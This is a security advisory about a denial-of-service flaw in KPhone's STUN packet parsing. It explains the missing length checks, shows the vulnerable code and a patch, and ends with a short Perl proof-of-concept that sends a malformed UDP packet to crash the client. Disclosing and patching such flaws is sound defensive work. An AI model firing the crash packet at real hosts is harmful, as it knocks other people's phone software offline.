[UNIX] KPhone STUN DoS (Malformed STUN Packets)

From: SecuriTeam (support_at_securiteam.com)
Date: 04/15/04

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Date: 15 Apr 2004 20:01:15 +0200

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      KPhone STUN DoS (Malformed STUN Packets)
    ------------------------------------------------------------------------

    SUMMARY

     <http://www.wirlab.net/kphone/> KPhone is "a SIP (Session Initiation
    Protocol) user agent for Linux, with which you can initiate VoIP (Voice
    over IP) connections over the Internet". KPhone allows its users to enable
    STUN server interconnectivity. This interconnectivity allows a remote
    attacker to crash the KPhone program by sending it a malformed STUN
    response packet. The vulnerability doesn't allow the attacker to execute
    arbitrary code, but only to cause a denial of service attack (the program
    will crash).

    DETAILS

    Vulnerable Systems:
     * KPhone version 4.0.1 and prior

    Immune Systems:
     * KPhone version 4.0.2 or newer

    The vulnerability lies in the fact the size of the received packet is not
    verified against its user defined size. The vulnerable code lies at
    (sipclient.cpp):
    void SipClient::incomingMessage( int socketfd )
    ..
    char inputbuf[ 8000 ];
    ..
    StunMsgHdr* hdr = reinterpret_cast( inputbuf );
    ..
    char* body = inputbuf + sizeof( StunMsgHdr );
    unsigned int size = ntohs( hdr->msgLength ); // The size comes from msgLen
    ..
    while( size > 0 ) {
    StunAtrHdr* attr = reinterpret_cast( body );
    unsigned int hdrLen = ntohs( attr->length );
    ..
    body += hdrLen+4; // The hdrLen comes from the attrLen
    size -= hdrLen+4;
    }

    As attrLen can be set to a bigger value than 8000 (the longest value we
    can place in hdrLen is 0xFFFF = 65535), we can cause the body pointer to
    point to a memory location outside the scope of our function, thus causing
    a SEGFAULT.

    Patch:
    Beyond Security has written a patch that will make sure that the data
    received is indeed safe for parsing (verifying all of the msgLen and
    hdrLen)
    356a357,362
    > // check that the size of the header isn't larger than what we've read
    > if ((signed int)sizeof(StunMsgHdr) > bytesread)
    > {
    > printf("Malformed packet (sizeof(StunMsgHdr) > bytesread)\n");
    > return;
    > }
    357a364,369
    > // check that the msg length + the hdr length is exactly what we've
    read
    > if( (signed int)(ntohs(hdr->msgLength) + sizeof(StunMsgHdr)) !=
    bytesread)
    > {
    > printf("Malformed packet (hdr->msgLength + sizeof(StunMsgHdr)) !=
    bytesread)\n");
    > return;
    > }
    365a378,383
    > // check that our attribute length is not larger than the remaining
    size
    > if (hdrLen+4 > size)
    > {
    > printf("Malformed packet (hdrLen+4 > size)\n");
    > return;
    > }

    Vendor status:
    The vendor has issued a new version 4.0.2, which address this issue.

    Exploit:
    #!/usr/bin/perl
    #

    use IO::Socket::INET;

    my $buf = join("", "\x01\x01", # BindingResponse
        "\x00\x01", # MsgLength
        "A"x16, # GUID
        "\x00\x00", # Attribute
        "\x08\x01", # AttrLength
        "A"x7975 # Value
       );

    my $remote = IO::Socket::INET->new( Proto => 'udp',
             PeerAddr => '192.168.1.49',
             PeerPort => 5060);

    print $remote $buf;

    ADDITIONAL INFORMATION

    SecurITeam would like to thank <mailto:storm@securiteam.com> STORM for
    finding this vulnerability.

    ========================================

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